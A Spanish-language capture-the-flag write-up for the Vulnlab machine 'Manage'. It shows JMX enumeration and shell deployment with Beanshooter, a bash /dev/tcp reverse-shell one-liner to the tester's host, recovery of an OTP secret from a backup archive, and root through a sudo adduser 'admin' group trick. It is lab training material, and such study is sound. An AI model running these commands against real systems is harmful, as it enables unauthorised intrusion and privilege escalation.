# Manage – Writeup (Vulnlab)

## NMAP

```bash
22/tcp    open  ssh        syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
2222/tcp  open  java-rmi   syn-ack ttl 63 Java RMI
8080/tcp  open  http       syn-ack ttl 63 Apache Tomcat 10.1.19
```

Revisando la salida del NMAP vemos que hay un HTTP corriendo. Al parecer este puerto http **(8080)** solamente encontramos un Apache Tomcat por default. Nada interesante de momento.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753995930707/d1595edb-dc07-4cb1-a9b2-ec0395d55a5a.png align="center")

## PORT 2222/tcp

Si profundizo un poco con **NMAP** sobre este puerto, obtengo el siguiente resultado:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753995941143/69bb51f6-f02a-4f71-a058-857b488f3fcd.png align="center")

Este servicio es un Java RMI (Remote Method Invocation) ejecutándose en el puerto 2222, que permite a los objetos Java comunicarse y ejecutar métodos de manera remota.}

* JMX (Java Management Extensions)  
    JMX facilita la gestión y supervisión de aplicaciones y recursos de Java. Permite el acceso y la manipulación de objetos gestionados llamados MBeans (Managed Beans), que exponen propiedades y métodos para su administración. JMX es utilizado para monitorear, configurar y gestionar aplicaciones tanto localmente como de manera remota.
    

## Atacando JMX: Puerto 2222

Investigando el modo en el que podria abusar de este servicio, doy con una tool llamada **Beanshooter**, la cual es una herramienta de enumeración y ataque para **JMX**,  
que ayuda a identificar vulnerabilidades comunes en los endpoints **JMX**. El repo lo pueden encontrar en el siguiente link: [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter).  
Utilizando la siguiente version: **beanshooter-4.1.0-jar-with-dependencies.jar**, procedo a realizar un escaneo de enumeracion frente al Target:

```bash
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.10.90.221 2222
```

Del output destaco dos hallazgos:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753995970198/36ad7982-6a7b-4def-ad88-7aef21756859.png align="center")

Al mismo tiempo al finalizar el escaneo me dumpea 2 credenciales. Para el username **manager** y para el **admin**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753995978355/dcd0e925-905a-4468-88a1-841e433e3937.png align="center")

Algo interesante que tiene la tool es que nos permite directamente generar una shell interactiva.  
Procedo con los siguientes dos comandos para obtener shell:

```bash
java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.10.90.221 2222 tonka
```

```bash
java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.10.90.221 2222
```

# USER

Finalmente obtengo la shell como **tomcat**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753996003889/d982203e-caa3-4a2c-8ac1-0c75a14a9d43.png align="center")

En el path **/opt/tomcat** obtengo el *user.txt* y saco la flag. Revisando los usuarios del sistema vemos los siguientes:

```bash
root:x:0:0:root:/root:/bin/bash
karl:x:1000:1000:karl green:/home/karl:/bin/bash
useradmin:x:1002:1002:,,,:/home/useradmin:/bin/bash
```

Tratando de reutilizar credenciales me doy cuenta que la shell no es estable y al hacer un comando como `su useradmin`, se queda freezada.  
Tenemos dos opciones podriamos generar una revshell con algun C2 favorito o rapidamente un bash-revshell.  

Con un netcat a la escucha del puerto 9000 me doy una revshell desde el target:

```bash
bash -c 'bash -i >& /dev/tcp/10.8.0.147/9000 0>&1'
```

Recibo revshell y procedo a intentar reutilizar las credenciales que obtuvimos al principio, parecen dar con el usuario **useradmin** sin embargo este parece tener un estilo OTP sobre su usuario el cual requiere de un codigo de verificacion, que hasta el momento no dispongo.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753996033857/1f131eb0-e291-4625-8479-361c8fd2a0a9.png align="center")

## Escalando a useradmin.

Después de varias búsquedas me enfoco en archivos pertenecientes a **useradmin** y destaco dos files interesantes:

```bash
find /home -user useradmin -ls 2>/dev/null

-r------- 1 useradmin useradmin 164 Jul  9 06:03 .google_authenticator
-rw-rw-r-- 1 useradmin useradmin 3.1K Jun 21 16:50 backup.tar.gz
```

No podemos leer el primer archivo *.google\_authenticator*, sin embargo si podemos ver el contenido del segundo. Lo copio hacia */tmp* y trato de descomprimirlo.

```bash
cp backup.tar.gz /tmp
cd /tmp
tar xvzf backup.tar.gz
```

Recibo una serie de errores, sin embargo el archivo *.google\_authenticator* se descomprime:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753996097374/26cbb2f4-0201-445a-8e2c-43e976b9ee5f.png align="center")

Al catearlo vemos que ya estamos en condiciones de escalar a **useradmin**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753996109231/d649411d-79a8-4b9c-b46e-4d78e3f6706c.png align="center")

## ROOT via SUDOERS (admin group)

Ya una vez como *useradmin*, verificamos algunas cosas básicas y entre ellas el `sudo -l` :

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753996118292/28e764c8-f8d8-470c-949e-315219815952.png align="center")

Mediante sudo estamos permitidos a crear un nuevo usuario en el sistema. Se restringe a caracteres alfanumericos. Intente varias cosas, como crear una cuenta de system con `sudo /usr/sbin/adduser test --system`, o inyectar caracteres de ‘escape’. Todos los caminos conducian a un unico lugar y era el **SUDOERS** file, ubicado en */etc/sudoers*. Como no tengo permiso para visualizarlo, busco una version ‘estandar’ de sistemas Linux Ubuntu. Estos lucen similar a lo siguiente:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753996135217/aa43077e-c6c5-460d-9af2-918b47fb1c05.png align="center")

En la linea 5 vemos que dice “los miembros de el **ADMIN GROUP** pueden obtener privilegios de ROOT”, y si verificamos en los grupos existentes del sistema no existe este grupo.  
Cuando se crea un nuevo usuario en el sistema, automáticamente se crea un grupo con el mismo nombre. Por lo tanto, si agregamos un usuario llamado ‘admin’, se creará un grupo llamado ‘admin’ y el usuario ‘admin’ se añadirá a ese grupo automáticamente.

```bash
sudo /usr/sbin/adduser admin
```

```bash
Adding user `admin' ...
Adding new group `admin' (1004) ...
Adding new user `admin' (1004) with group `admin' ...
Creating home directory `/home/admin' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for admin
Enter the new value, or press ENTER for the default
        Full Name []: 
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n]
```

Intercambio al usuario ‘admin’ creado y ahora podemos ver que si hago un `sudo -l`

```bash
User admin may run the following commands on manage:
    (ALL) ALL
```

Solo basta con un `sudo su` y somos root.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753996178022/6b994d9f-d8e3-41c7-afbe-e764af2f061b.png align="center")

Pwned.